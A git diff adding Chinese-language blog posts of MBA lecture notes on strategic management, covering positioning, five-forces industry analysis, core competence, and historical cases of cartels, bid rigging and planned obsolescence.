+2.1.7宝马公司 + +宝马是提供移动服务的公司，汤明哲教授认为这个定位就有些问题——差异化在哪里？ + +2.1.8阿里巴巴 + +阿里巴巴是电商公司？不是，它是一个数据智能公司。第一个，有数据，另外，数据还有智能，根据数据可以分析出来很多东西，可以根据顾客的风险来定价，所以叫做数据智能公司。各式各样的数据拿来了之后，利用这些数据可以做很多的事情。 + +阿里的定位跟京东在电商的领域不一样。阿里是一个平台，平台上面有不同的商家，商家决定价格，商家自己留存货，自己送货，阿里只负责金流，京东的定位是你的货拉到我的仓库来，同时负责金流和物流。这两个定位是不一样的。 + +2.2未来的电商 + +未来的电子商务，会不会变成要买东西，只要去百度搜寻一下，自动就帮你排出来了？同学们可以思考这个问题——什么地方最便宜、什么地方评价最好，直接去商家买了，也不用去阿里，也不用去京东了。 + +到了那个时候谁会赢？这些商家需要的是摆存货的地方，需要的是运送，因为个别商家的运送会比较麻烦。未来的电子商务，有可能一个搜寻引擎的，一个建议的APP，就可以取代阿里。 + +这里需要思考：下面存货谁来，金流谁来，金流怎么处理？存货怎么处理？物流怎么处理？ + +2.3如何选择战略定位 + +2.3.1八戒王国的案例 + +养猪从猪崽、宰杀、到农贸市场零售，价值链很长，所以养猪的时候需要饲料、药物的知识。润民企业的做法是：顾客付660块买一个猪崽，生长周期6个月一共付1980块，由养猪场代养。周期结束后，企业发给消费者猪肉券或者年化收益率8.4%的一笔现金。这里面的价值是，赋予消费者一个选择权。做的事情是和此前讲的亚马逊案例一样，压缩价值链，做品牌价值。 + +2.3.2民生银行的案例 + +民生银行的做法是小池塘养大鱼，各地的分行专注某一个行业，在昆明做玉石业，福州石板业等等。在每个地方根据每个地方的特色，做不同的行业，这样行业的知识就比较多，在放款跟利率部分，就可以用风险来定价。 + +3．战略段数 + +3.1V-P-C + +大战略跟小战略创造的PVC段数各有不同，V是顾客认知上的价值，大战略就在创造V。 + +3.2战略段数层次 + +战略就像围棋一样，最低段的层次叫做口号战略。口号战略是什么？降低成本、提高质量、产品优质化、加强顾客关系、尽快做大做强。 + +第二个叫做基本战略，基本战略是什么？差异化、低成本领先，再不然就是集中，集中到某一个市场细分。还有就是CQS，叫做成本、质量跟速度。 + +第三个包括了平台战略：全方位解决方案提供商，比如IBM。IBM提供了什么？就所有的关于咨询服务的所有的服务；价值的整合商，比如波音，要能创造特殊的价值才有可能成为一个价值整合商。 + +这三种战略是最常做的战略。 + +3.3 SWOT分析的盲区 + +SWOT分析是常用的战略分析工具，但是SWOT分析有这样几个问题。 + +第一，定义不清楚，什么叫强点？什么叫弱点？什么叫机会？什么叫威胁？ + +譬如说笔记本电脑出来了之后，是桌上型电脑的机会还是威胁？能做就是机会，不能做就是威胁，这两边核心竞争力是不一样的。 + +手机对佳能而言的话，手机相机是机会还是威胁？有威胁，但是佳能认为是机会，为什么？因为手机每一年的需求量是14亿支，佳能的相机一年不过1亿支，所以佳能一定要想办法在手机相机里面做出个机会。 + +二胎政策对于进口婴儿汽车座椅的厂商是机会还是威胁？有了二胎之后怎样？父母的花费就增加了一倍，那一定会挤压到汽车的婴儿座椅的需求量。看起来是机会，实际上是威胁。 + +第二，因为大家都习惯说机会为主的成长策略，所以房地产是不是机会？看起来是机会，投资3年就翻倍，制造业一年赚10%，7年才翻倍。而制造业去做房地产业，做的成功放弃了制造业，做的失败拖垮了制造业。 + +所以，不要做以机会为成长的战略，应该是做以能力为成长的战略，能力可以克服不利的趋势。 + +比如台塑企业就会杀成本，成本低，景气好大赚，景气不好小赚。只要比对手成本低就会赚钱，它的能力就是降低成本，所以SWOT的盲点会造成战略的同质化。同质化的结果是价格竞争，价格竞争的结果是大家都赚不到钱。 + +3.4最高段的战略：赢的战略 + +要做赢的战略，应该取势，顺势而为。 + +汤明哲老师举了三星的案例。 + +三星的战略是进入高科技产业，但它的劣势明显——技术落后。 + +三星的想法是，第一，进入资本密集产业，因为它的资金来源没有问题。 + +第二，做具有周期性的产业。经济形势不好的时候，对手为了维持利润率，就会砍掉研发，这时三星加倍研发，就赶了半步；形势好的时候，对手恢复了研发，三星恢复竞争，依然输给对手；在下个周期再赶个半步，几个周期以后，就可以赢过对手。 + +第三个，他做不需要研发创新的产业，做苦干能做出来的产业。 + +这个战略成功了，这就是一个高级的战略。 + +4．战略创新 + +最高段战略需要战略创新。汤明哲教授介绍了几个战略创新的案例。 + +4.1戴尔计算机 + +戴尔计算机的方式是BTO，接单后才生产，可以降低存货跌价损失。PC产业存货跌价损失每个礼拜是1%，所以如果BTO的话，存货只需要7天，省掉8%的成本，这一模式就把当初的其他电脑产业统统打垮了。 + +4.2 Zara + +Zara是以快速模仿为主的高级服饰店，它也不留存货，等到服饰流行的时候快速生产，再铺到它的店里面去，做一个快速模仿为主的高级服饰店。 + +4.3小米 + +4.3.1小米的战略 + +小米的战略是硬件引流，软件搭台，服务赚钱。 + +硬件引流，它的硬件的价格是三星的一半，规格是一样的，为什么价格可以一半呢？因为他用网络订单，省掉28%的渠道成本；不做广告，省下8%的成本；饥饿营销，不留存货，又省了5%的成本；他单一机型下单，又省了5%的成本。 + +省下来的成本可以到50%，所以它用硬件引流之后软件搭台，下载各式各样的APP，再靠服务赚钱。 + +战略成功了，小米一炮而红。 + +但是为什么在香港上市了以后股价跌掉45%？ + +4.3.2小米的定位问题 + +回到定位的问题，小米到底是一个网络公司还是一个硬件公司？ + +投资者认为小米是硬件公司，产品是手机，做的是一些硬件。可小米说自己是网络公司。各自不认同，这就是定位的问题。要定位是网络公司，就要有网络公司的特色——销售额3年能够涨一倍，要有这么高的成长率，但是小米做不到。它被市场上定位成为一个硬件公司，成为硬件公司后，它的市盈率又上不去。 + +![](/uploads/2019/06/03-103.png) + +4.4星巴克 + +星巴克的策略是将普通产品中注入热情和能量。星巴克的成本很低，但是讲了一个好故事：咖啡豆都是从非洲来的，教非洲农民种咖啡，之后农民把咖啡豆卖给星巴克，换钱买牛、耕田、挤牛奶，养育全家。 + +4.5 3M + +3M最厉害的是内部创业的机制，让员工可以内部在公司创业，不要怕失败，失败了公司撑，所以这种公司的股票就永远在赚钱。 + +4.6沃尔玛 + +沃尔玛通过中央仓储降低成本，最主要的赚钱的方式是降低存货周转率，因为通过中央仓储可以降低存货，存货周转率在沃尔玛一年是14次，一般的百货公司只有4次。 + +4.7苹果 + +苹果是数字中枢战略——靠iPhone能够控制各式各样的软件，将来还有自动驾驶汽车等等。 + +5.总结 + +回顾第二个部分， 布局对了、定位对了，可以拉大价值跟价格中间的关系。 + +所有的SWOT分析只是形成战略的第一步而已，真正要导出精彩的战略，要靠战略创新。 + +历史上有很多战略创新的案子，这些战略创新，帮助公司脱离了激烈竞争的红海。 \ No newline at end of file diff --git a/_posts/2019-06-03-390-mba1003.md b/_posts/2019-06-03-390-mba1003.md new file mode 100644 index 0000000..b2c0090 --- /dev/null +++ b/_posts/2019-06-03-390-mba1003.md @@ -0,0 +1,221 @@ +--- +layout: post +title: 【战略管理模块】 第3节 如何制定战略 +pid: 390 +tags: [mba] +--- + +本讲内容关于如何制定战略，即进行由外而内和由内而外的分析。 + +由外而内的分析，即竞争生态分析，在竞争环境里，有各式各样的厂商，每个厂商的利益都不一样，根据各厂商间不同的利益，企业要采取不同的行为，所以要分析利益的分布，然后再决定如何在这个过程中获得应有的利润。 + +由内而外的分析，即核心竞争力分析，从企业自身的能力开始去分析企业到底有没有核心竞争力。 + +第一部分 竞争生态分析 + +1.竞争生态分析的概念 + +1.1 沙漠植物的案例：沙漠里有一个植物，它的根会分泌一个毒素，把根范围之内的草都杀死，然后根部全部吸收周围的水分，这是在沙漠中植物生存必备的能力。沙漠环境就是所谓的竞争生态，厂商为了生存，它必须发展出与环境相合的能力。所以，不同环境下，如森林里和沙漠里的生物，其生存能力是不一样的，这个能力有所谓的DNA。 + +1.2 非洲鸵鸟的案例：非洲有一种鸟，它会吃鸵鸟蛋。鸵鸟蛋又大又厚，一般的狮子、老虎都吞不下去，但这类鸟可以，它会捡小石头砸鸵鸟蛋，一直砸下去直到砸破为止，然后就把它吃掉。根据科学家实验的结果：新孵化的未见过自己父母的小鸟也会捡石头砸鸵鸟蛋，因为该技能已经带到它的基因里面。 + +1.3 结论：企业也是一样，公司做事的方式就是企业的DNA，与生物一样，企业要去适应环境，培养不同的竞争能力。竞争生态就要看在竞争环境中，各厂商的关系、特性、生存方式和利益关系等。 + +2.竞争生态案例 + +2.1游戏机的竞争生态游戏商与游戏机商的关系：游戏机卖得越多，游戏才会卖得越多。两者的矛盾之处：游戏机商，卖得便宜，赚不到钱；卖得贵，买的人少，相应的，游戏也会卖得少，双方都赚不到钱。 + +解决办法：游戏商付钱给游戏机商，让其降价销售，这样游戏机就会卖得多，相应的，游戏也会卖得多，这样双方都可以赚钱。 + +竞争生态中，双方的利益关系决定了利益的分配，这是最基本的竞争生态。 + +2.2 PC的竞争生态根据以下凄苦微笑曲线： + +![](/uploads/2019/06/03-104.png) + +英特尔毛利是50%-60%，微软的毛利是90%，中间是台湾厂商，只有5%-10%的毛利。出现凄苦微笑曲线的原因：卖PC时，卖得是整机的价格。微软和因特尔都有独占的地位，可以将整机卖个高价。 + +英特尔赚钱的方式很简单：压缩装配厂与零件厂的利润，提高自己微处理器的价格。所以，英特尔的战略就是拼命提高零件商的竞争成本，培养相关竞争者进来参与竞争，竞争者越多，英特尔就越容易提高微处理器的价格。微软的做法也是如此，这两家就挤压了中间商的利润，所以中间商赚不到钱。因此，通过以上竞争生态分析，装配厂与零件厂的利润非常低。 + +3. 竞争生态分析的目的目的如下： + +第一，分析企业在产业中的地位，推导企业潜在的利润。 + +第二，分析产业竞争的激烈程度，推导产业潜在的利润。例如：便当产业的竞争很激烈，因为便当做起来很容易，竞争壁垒很低，所以该产业要赚钱是非常困难的。但是有些产业就很赚钱，比如烟草业，无论美国、中国，烟草业都是很赚钱的，因为消费者习惯于某个口味之后，很难再转换到另外的口味，消费者的转换成本比较高。 + +4. 竞争生态分析的方法 + +4.1 价值链分析做竞争生态分析时，首先要做价值链的定位。价值链即在产品生产的过程中，在每个环节上做重要的关键成功因素的分析，创造每个公司，每个环节上的竞争优势。 + +例如：Shimano，它的定位是变速器厂商，这是价值链中最重要的环节。消费买脚踏车时，并不是在挑选某个脚踏车的牌子，而最看重是否为Shimano的变速器。这是在价值链上，由厂商直接诉求给最终消费者的经典案例。 + +英特尔，消费者买PC时，最看重PC使用的是否为英特尔的微处理器。英特尔通过此种方式直接诉求给消费者，构建自身的竞争优势。 + +利丰央行，是价值的整合商，它在价值链中把全球7500个厂商，全部整合在一起。顾客下单后，订单就会下放到各个染整、染色、纺织的厂家。利丰洋行通过整合整个全球的价值链，成就了所谓的利丰洋行王国。 + +价值链分析之后，要再分析个别环节潜在利润的高低。例如：洗发水行业，该行业的广告量特别高，广告的花费高达销售额的15%，如果其他竞争者要进来，要先有同样甚至更多的花费，才能建立品牌效应，正由于该行业的壁垒比较高，所以该产业基本上是赚钱的。 + +汽车行业，每个国家不一样，汽车业的竞争看起来很激烈，实际上，该产业还是可以赚钱的，因为全世界整车厂商不多，这些厂商彼此之间已形成不进行激烈竞争的默契。 + +4.2 波特五力分析 + +4.2.1模型介绍如果对于某些产业没有那么多的了解，可以用最简单的一个模型：五力分析，来判断一个产业未来的发展情况。五力包括以下内容：上游供应商，如上游供应商的数量，如果只有两家，那企业面临的困难就比较大，因为这种情况下，这两家企业的议价能力比较高。 +下游购买者，对于购买者而言，企业的议价能力高不高。代替品，例如：代替品厂商的多寡。潜在进入者，如果某企业赚钱了，一定会有其他企业进入，这些其他企业叫潜在进入者。行业竞争者，这是最重要的力，即在产业中，厂商竞争的激烈程度。 + +4.2.2 五力的影响因素 + +![](/uploads/2019/06/03-105.png) + +4.2.3优衣库衣服标签的案例通过优衣库衣服标签的案例分析该产业是否会赚钱。衣服有三个标签：衣服logo、洗涤方式标签、产地标签。 + +标签商会盈利的原因：根据波特五力模型中上游供应商影响因素来分析：衣服标签占整个衣服的总成本并不高，所有标签厂要提价，成衣商基本会同意，因为合作久了，会信任其质量，更换的话，如果找不到好的标签供应商，会影响整个衣服的质量评价。所以成衣商很少会去更换标签供应商，即使其涨价。因为上涨的价钱对成衣商而言，成本也非常低。 + +但是该产业也不容易进入，因为已有企业做得比较大，市场占领得比较多了，对后进入的企业形成了较高的壁垒。 + +试设想：该企业是否要上市？汤教授认为不要上市，因为如果是赚钱的企业，踏踏实实地赚钱就好，不需要上市。 + +4.3 应用波特五力模型进行航空业分析供货商：全世界做大飞机的只有波音和空客，有非常多的公司都需要向这两家采购，所以供货商面对的市场规模很大，且这两家供应商的差异化明显，提供的产品各有特点。供应商的成本占企业总成本的比例比较高，但因为供货商数量少，企业的杀价能力不足。 + +供应商向前整合的可能性也比较小，因为它已经赚钱了，向前整合的动力不足。所以航空业，供应商的议价能力高。 + +进入者的威胁：如果没有政府管制，进入航空业比较容易。通过租赁可以降低进入壁垒和资金需求，所以，在美国，进入航空业并不难。对于一般消费者该行业几乎没有品牌忠诚度。该行业没有专利保护和先驱优势，渠道网的建立也比较容易，例如：建立一个网站，就可以开始售卖了。所以，美国的航空公司，竞争很激烈。 + +对于新进入者，产业内原有竞争者也会与之进行激励的竞争打压。购买者：买主的规模与数量都很小。航空业向后整合，即向消费者整合的可能性也很小。其产品基本没有差异化，因此，购买者这个因素也不重要。 + +竞争者之间的竞争：该行业的产业成长率不高，大概个位数的成长，所以大家会互相抢顾客。该行业的固定成本高，变动成本低，比如，一切准备就绪后，多加一个顾客，成本仅10块钱（多加一个餐盒的价钱）。代替品的威胁： + +![](/uploads/2019/06/03-106.png) + +例如：路程不长的话，可选择自驾。所以，整体来看，供应商的议价能力高，进入者的威胁高，买主的议价能力不重要，代替品的威胁不重要，竞争激烈，所以航空业不会赚钱。通过五力分析就会知道该产业不会赚钱。 + +从投资的观点分析，长久而言，这种产业不赚钱。例如：根据美国航空公司过去30年的经营历史统计，航空公司倒闭了很多次。 + +因此，航空业的关键成功因素如下：第一，做国际航空，国际航空竞争没这么激烈，因为租大飞机比较贵，不是所有的航空公司都可以租大飞机。 + +第二，建立同业联盟，例如：天合联盟，联盟中进行里程数互换，提高顾客的转换成本，通过多飞优惠的办法，鼓励多飞。 + +第三，降低成本。根据西南航空公司的做法：压榨飞机和压榨劳工。压榨飞机，即让飞机在天空的时间多一些，在地面的时间短一些，西南航空的飞机从降落到起飞，中间是15分钟到30分钟。 + +第四，选择不竞争的航线，比如偏远地区，汤教授认为这些航线竞争不那么激烈，可以赚到钱。 + +第五，争取延伸航权，飞到对方的地域，再延伸过去，就多一次载客的机会 + +第六，提高顾客的品牌忠诚度。 + +第七，多吸收商务旅客。 + +通过该案例可知：航空业如此困难的产业还是可以赚钱的。 + +4.4 影响竞争的因素五力中间最重要的是产业的竞争程度，影响竞争的因素有如下几条： + +第一，市场竞争程度。如果大厂商只有1家的话，肯定赚钱，有2家的话，还可以赚钱，因为彼此之间会有一个恐怖平衡，有3家的话，大概还会不错，但是4-5家以上，就很难赚钱了，因为大家都开始竞争了，除非大家有一个默契。 + +汤教授认为：中国的航空公司市场集中程度很低，每个地方政府都有航空公司，所以竞争是比较激烈的。 + +第二，进入障碍，包括资金的需求、技术的获得、地点的需求等。例如： 24小时便利商店，大家抢的是街角的位置，但这是有限的，所以先抢到的企业就有先驱优势。 + +第三，产品的差异化，即认知上的产品差异化，简单来讲，就是客户觉得哪个产品比较好？比如觉得宝马好还是奔驰好？真的有好坏吗？未必见得。但它的影响非常大，因为认知上的产品差异化，其实并没有实质上的差别。 + +例如： 1979年，汤明哲教授去美国念博士时，当时美国排名前10名的管理学院，到了现在还是那10个，但实际上学校与学校之间并没有那么大的差别，只是认知上的差别，导致好学生都去那10所大学，最终导致学校之间真正的差别。再例如：化妆品，像香奈儿，汤教授也认为与其他化妆品相比，并无实质上的区别。 + +第四，成本结构。即看企业的固定成本和变动成本。 + +第五，垂直整合，汤教授认为，垂直整合基本上是降低竞争，因为其结果会让很多同样的厂家在该产业进行垂直整合。之后再进入的企业，其门槛就比较高，所以说是降低竞争。 + +第六，母公司的关系，即看该产业中公司的母公司情况。 + +以上因素都会影响竞争的强度，影响产业的利润，综合考虑所有因素之后，就会了解其产业的竞争生态。 + +4.5价值链分析五力模型并非适用于任何一个产业，互联网产业的分析不能用五力模型，因为其基本的假设是上下游的议价能力，但互联网产业讲的是共享利益，企业要打造一个生态系统，相关企业在该生态系统里共同存活。所以互联网产业的分析不能用五力模型，要用价值网分析方法，一定不能只想自己的利益，要考虑生态系统中各方的利益，整个生态系统的利益。 + +关于产业的特性，要分析产业的关键成功因素，汤教授认为网络产业就是要尽快做大做强，因为网络行业的特性是多边平台，即当一边人多的时候，另一边的人就多。汤教授列举了月下老人的案例，当男士多了，女士就多，女士多了，男士就多。这被称之为跨边网络效应，汤教授认为当网络效应出来以后该产业就只有一条路可走：尽快做大做强。无论美国、还是中国的网络产业，都是如此。建议打算在网络产业的创业者，最好先募集到足够的资金，然后尽快扩大规模，做大做强，这就是企业的关键成功因素。但要注意到，随着时间过去，关键成功因素会变成关键存活因素。 + +例如：银行的提款机，以前就是关键成功因素，但是普及之后，它对银行的成功与否就不那么重要了，就变为关键存活因素。 + +最近银行又在做机器人理财，看上去好像是关键成功因素，但用久了之后发现都差不多。汤教授对机器人理财持怀疑态度，因为机器人是根据过去的绩效来操作的，但很多的国际因素，过去没有出现过，比如英国脱欧、中美贸易战，出现此类问题时，机器人就不知道该如何处理。所以，机器人理财一开始好像是吸引顾客的工具，但时间久了，也会变成关键存活因素。 + +随着企业的发展、产业的发展，随时都有新的关键成功因素出现，所以要注意观察产业的变化。 + +第二部分 核心竞争力分析由内而外的分析就是进行资源的盘点、核心竞争力的分析。第二部分内容即，从盘点8大资源到核心竞争力，再到竞争优势。将资源透过管理的程序成为核心竞争力，在市场上创造竞争优势。 + +2.1 企业的资源企业的经营包括有形资源，包括土地、财务等，无形资源，包括知识产权、文化等，汤教授认为：文化是软资产，好的战略可以让企业获利10年，好的文化可以获利20年，因为文化像DNA一样，是不会改变的，还有特殊资源，如战略资源，比如关键人才资源。 + +2.2 核心竞争力与竞争优势的关系有开发新产品的能力，就会在市场上形成新产品的竞争优势；有较高的顾客服务能力，服务的满意度就高，就可以在市场上形成竞争优势；有渠道管理的能力，就可以通过多渠道销售的竞争优势。一个企业各方面较高的能力，例如企业有质量管理的能力，就有产品的质量优势，有构建生态系统的能力，就有平台竞争优势等，最后会形成企业的品牌优势。 + +汤教授认识，生态系统，需要很多企业共建，阿里、腾讯，都在构建生态系统。有构建生态系统的能力，就有平台竞争的优势，在该生态系统中，要照顾到其他企业的利益，小米在自建生态系统，汤教授不认可这种做法。比如：家居，家居环境生态系统是通过智能设备控制灯光、窗帘，前提是要知道窗帘的标准，电动窗帘的标准，但各个物品标准不一，小米要做家居整体方案解决商的提供商，就需要整合很多不同的厂商，将其整合到一个作业系统下，这很难。 + +所以，核心竞争力就是通过管理的程序，将有形、无形资源，转化成难以模仿，得以延伸的能力，在市场上获得竞争优势。 + +2.3 企业的程序企业的能力是管理出来的，是培养出来的。比如产品创新，这来自于员工的智慧，创新有时是漫无目的的创新，是很难管理的，要通过管理进行有纪律的创新。 + +企业的程序分为三层： + +第一层，作业程序，即所谓的SOP，互联网产业需要创新，不能用SOP。 + +第二层，功能性程序，包括新产品开发程序、顾客服务程序、知识管理程序。关于知识管理的程序，例如，某企业在全中国各地都有不同的分公司，在上海分公司的人，他了解到了一个新的顾客需要，要不要转播到中国其他的分公司去？以前公司的总部被称为headquarter，用大脑来指挥分公司，现在是heartquarter，即心脏总部，即各分公司的创新想法，全部要流到总部，过滤之后，总部再发到各个公司，通过这样的知识管理程序，可以让所有分公司快速成长。其中的困难点在于需要企业管理者要想办法让员工贡献出好的想法。 + +第三层，战略程序，包括奖励程序，兴业程序，重生程序，整合程序。关于奖励程序，汤教授建议企业创始人不要小气，要懂得分红。汤教授列举了一个企业分红的案例，如下所示： + +![](/uploads/2019/06/03-107.png) + +兴业程序，即创造新事业的程序，同常情况下，老产业、老公司要产生新事业，非常地困难，因为公司没有新业程序，没有鼓励老臣开创新事业的制度。 + +再例如，公司不是扁平化管理，一个员工好的主意很难正在展示在老板面前。所以，每个产业都需要一个兴业管理的程序。 + +重生程序，每个企业经过5年或10年都需要重新打造一遍，互联网企业甚至每1-2年就要重新打造一遍。 + +整合程序，即每个组织、单位都不能各行其事，需要通过管理进行规范化。 + +![](/uploads/2019/06/03-108.png) + +2.4 核心竞争力企业需要透过以上这些程序，在市场上产生核心竞争力。核心竞争力，即一个跨产品线的共同技术，通过该技术，可以延伸不同的产品线，产生不同的产品。所以，核心竞争力，最重要的是找到公司技术的根本。 + +2.4.1案例一：台湾的趋势科技公司台湾趋势科技世界是世界第三大的防毒软件公司，其成功的原因如下：采用上驷对下驷的战略，即田忌赛马的战略，用台湾的上驷对美国的下驷。 + +在美国，第一流的软件工程师都去Google、Apple等高工资的公司工作，第二流的软件工程师去微软、Oracle这一类典型的软件公司工作。只有第三流的工程师，才会去做防毒软件。 + +趋势科技公司每一年会在台湾举行一次软件大赛，选择优秀的工程师，用台湾的上驷对美国的下驷。目前，它是全世界第三大的防毒软件公司，公司在日本上市，市值大概80亿美金。 + +该公司有5个基本的核心竞争力：防毒软件的知识。 + +防毒入口。该公司的产品不是在PC上抓毒，而是在路由器，即入口处抓毒。全球服务。建立全球服务网络，任何地方发现病毒，其产品可以在全球各地立即反应。总部设在菲律宾。 + +产品创新。该公司的工程师通过预测病毒，预测病毒的变种，测试等不断完善产品。 + +战略联盟。该公司建立了战略联盟，通过联合其他资讯安全公司，共同建筑防火墙，协助企业做资讯安全。 + +核心竞争力就是该公司的树根。文化是所有核心竞争力的土壤，然后会长出不同的产品线。 + +因此可知，通过公司的核心竞争力，会长出不同的产品线，不同的产品线会产生出不同的产品。 + +2.4.2其他公司案例列举不同的公司会有不同的核心竞争力。 + +3M3M公司的产品是胶带、砂纸、研磨工具、录像带、便利贴等，其核心竞争力是粘着技术，根据它的粘着技术延伸到不同的产品线。 + +阿里阿里的核心竞争力有三个：数据分析能力、生态系统构建能力、创新能力。根据这3个核心竞争力，阿里发展出完全不同的产品，从淘宝网到天猫，再到Alipay，最后到各式各样的运营，阿里几乎可以掌握所有人的消费习惯，通过其核心竞争力贯穿到每一个产品，汤教授认为这是阿里最厉害的地方。 + +Honda + +本田的核心竞争力是CVCC发动机，其产品从摩托车到汽车再到剪草机。其CVCC发动机是最省油的，所以用到剪草机上可以帮顾客省下油钱。该公司的发展是以机会为主的成长战略，而是以能力为主的成长战略。 + +Hallmark该公司的产品是慰问卡。美国人喜欢送各种各样的慰问卡，比如生日卡、毕业卡等。它的核心竞争力是促进人际关系的质量，即人与之间的关系可以通过它的卡片能够得到维系和发展。该公司从卡片就做到礼品店，然后做到电影，这些都是在撩拨人类的感情。电影拍完之后，该公司又做了电视节目，专门播温馨的家庭片，所以该公司从卡片到礼品店到电影再到电视节目，延伸其核心竞争力。 + +CASIO + +CASIO的产品是手表，它的核心竞争力：精密铸造、LCD、电路设计。根据这三个能力，该公司的电子表在全世界都销售得很好。 + +佳能佳能的核心竞争力：精密机械、精密光学、微电子。通过三个不同核心竞争力的组合产生出不同的产品，从相机到激光打印机、彩色打印机、复印机等，都是靠它的三个核心竞争力做不同的组合，由非常复杂的产品线而产生。所以，大型公司都有几个核心竞争力，不同核心竞争力的组合就会产生不同的产品线。大型公司最重要的就是核心竞争力。 + +2.5 核心竞争力的重要性要想清楚，企业有哪些核心竞争力，然后将资源分配到发展核心竞争力，延伸核心竞争力上，再界定核心业务和非核心业务，非核心业务可以外包。所以了解核心竞争力之后，要构建以能力为主的成长机会，而不是以机会为主的成长机会。 + +如果感觉公司没有核心竞争力，就先去做好成本控制、人员雇佣、人员管理，制定控制制度、产品研发的制度、新事业发展的制度等，当某一个基本动作做得超出竞争者的时候，就会产生核心竞争力。所以，在核心竞争力的战略思维下，企业要培养核心竞争力、注重核心业务、外包非核心业务，然后把核心竞争力延伸到其他产品线或者产品上。当有不同的核心竞争力时，就可以通过不同的组合产生新的、新的事业部，这个就是核心竞争力的好处。但企业绝对不是一个核心竞争力，要发展好几个核心竞争力，然后去思考不同的核心竞争力如何能够延伸到其他的产品线或产品上，这个是核心竞争力的思维，最重要的思维。 + +![](/uploads/2019/06/03-109.png) + +第三讲 总结本讲内容包括从外而内的竞争生态的分析，了解产业的关键成功因素和关键存活因素，由内而外的核心竞争力分析，核心竞争力即企业的关键成功因素。如果暂时没有核心竞争力，就先培养，使之成为一个关键成功因素。 + +如果企业不知道自己的核心竞争力，要通过市场的竞争去了解自己的竞争优势，这个优势就是企业的核心竞争力，然后发挥、延伸核心竞争力，培养其他的核心竞争力，再做组合发展成其他的事业。核心竞争力的观点对企业未来的发展非常重要，随着时间过去，企业要培养出几个核心竞争力。企业做完由外而内的产业竞争分析，和由内而外的核心竞争力分析，最后内外相合，想出适合自己企业的战略。 + +![](/uploads/2019/06/03-110.png) + +本讲内容就到这儿，谢谢大家！ diff --git a/_posts/2019-06-03-391-mba1004.md b/_posts/2019-06-03-391-mba1004.md new file mode 100644 index 0000000..5609bd5 --- /dev/null +++ b/_posts/2019-06-03-391-mba1004.md @@ -0,0 +1,206 @@ +--- +layout: post +title: 【战略管理模块】 第4节 谋和战略 +pid: 391 +tags: [mba] +--- + +前面三堂课，汤明哲教授讲的是大战略，大战略是未来发展的方向。可是平常还是要做决策，比如定价、计划产品线等等。第四讲和第五讲，汤明哲老师主要讲日常决策中的小战略。小战略有谋合的战略和竞争的战略。 + +1.竞争与合作 + +小战略有谋合的战略，有竞争的战略。 制定小战略的第一步，是要分析形势，是应该竞争还是合作。 一般人们都会认为，当然应该竞争。但是汤老师指出，事实上很多产业都是培养一个不需要竞争的环境，各位参与者有一个默契，不去激烈竞争，也就是事实上的合作。 + +合作有两种情况，第一种是明显的合作，有6个不同的战略，但是这是违法的；还有一种是谋合，即不谋而合，就是大家没碰面，但是大家在同样的诱因机制底下，不做激烈的竞争。谋合也有相应的战略。 + +如果合作不行，那就考虑是不是主导厂商，即，是不是超过40%的市场份额的厂商，如果超过40%就是主导厂商。这时不但追求自己的利益，还要想到怎么去阻挡别人进入，这个叫做进入阻绝战略。 如果进入阻绝也不成功，还是要竞争，那只能竞争。竞争分为垂直和水平的两个方式。水平竞争分为以质量为主的竞争和以价格为主的竞争。 + +价格竞争是最后的手段，为什么价格是最后的手段？因为，价格对利润的影响程度，远远大于对顾客成本影响的程度，所以要想办法涨价，而不是想办法跌价。到了价格竞争的时候，就是血流成河的时候，千万谨慎进入价格竞争。 + +这些是了解知识前，应该有的一个基本框架。 + +2.明显的合作 + +最理想的合作状态是卡特尔，这种情况很少见。如中东石油输出组织OPEC，形成了卡特尔。但是卡特尔在历史上并不稳定，因为每一个厂商的目标不一样。比如伊朗产量低，人口多，希望油卖得越多越好；但是沙特人口低产量高，对销量并不在意。再加上两边是历史上宗教的仇敌，所以卡特尔很不容易稳定，常常互相欺骗，然后互相报复，之后重归于好再等待下一次危机的爆发。 + +2.1共同定价 + +共同定价是常用的合作策略。盖瑞晚餐是其中一种方式。盖瑞晚餐指的是，100年前美国的钢铁业的巨子合起来讨论钢铁的定价，晚上开个会，决定定价了以后回家，回家之后又在运费上面做竞争，所以再回来吃个晚饭再开一次会，决定运费。 + +运费怎么决定？他们确定了基价点制度，比如钢铁业的基价点就是匹兹堡，因为美国的钢铁业集中在匹兹堡，因此不管用户跟哪个钢铁厂买货，所有的运费从匹兹堡算起。 所以钢铁的价格固定住了，运费也固定住了，大家就没有价格的竞争。 + +2.2联合围标 瓜分市场 + +美国的重机电业采用联合围标的方式来瓜分市场。重机电业是做发电厂的机械设备。发电厂的机械设备通常规格出来之后，就会公开招标，大家都投标。 + +有两家大厂，一个叫做GE，一个叫做西屋，这两个大厂联合小厂说不要互相竞争，做了一本厚厚的价格指引，所有的零件的价格都固定价格。要招标的时候，根据设备的规格，每一家公司都根据价格指引算出来这个零件的价格。 + +到投标的时候，根据月的阴晴圆缺来决定谁有得标资格，这个叫做月相制度；没有得标资格的人，要用比价格指引算出来的成本再高的价格去投标。 + +有个记者，发现美国一个小州和南部小州决标的价格一模一样，到小数点后第二位，所以记者觉得这个有趣，写了报道出来，被检察官看到了，调查后才知道这个制度，联合围标，瓜分市场。 + +2.3共同销售 + +韩国人参就是韩国人参公卖局统一销售，统一做广告，就没有价格竞争了，所以韩国人参的价格比吉林人参要高。 + +2.4集体行动 + +Google、Apple、intel、Adobe、Youtube等大公司在2004到2009年协议互不挖角，因为高科技人士数量有限，挖来挖去，大家都受到损失，所以他们就协议互不挖角。 + +Apple跟Google先开始挖，Google挖了两次Apple的高级主管后，惹怒了乔布斯，所以他们协议好，互不挖角，慢慢协议扩充到所有的这些公司。 + +脸书2008年到了加州落脚开始挖角，不但挖，还把这个协议告到美国法院去了，协议方败诉，赔了4.15亿美元。 + +2.5计划性落伍 + +计划性落伍是100年前的灯泡业发明的。消费者购买灯泡后，过了六个月会忘记。所以早先灯泡可以亮一整年的时候，灯泡业动了心思，让工程师在灯泡里灌装一点氧气，降低灯泡寿命， 差不多半年坏了，就可以更换新的了。这几家公司是GE、欧司朗、飞利浦，联合起来发明计划性的落伍。 + +新的 LED灯泡可以亮五万小时，所以灯泡业会在线路上做设计。 + +近年这一手段又重演，2017年Apple利用顾客，替旧型的手机更换操作系统的时候，将旧型手机降速，为了让用户更换新的手机，因此被法国调查，今年十一月的时候，意大利罚Apple1500万欧元，三星500万欧元，因为两个公司都在"计划性落伍"。 + +3.合作的谋略 + +接下来汤明哲教授介绍了谋合的一些策略。 + 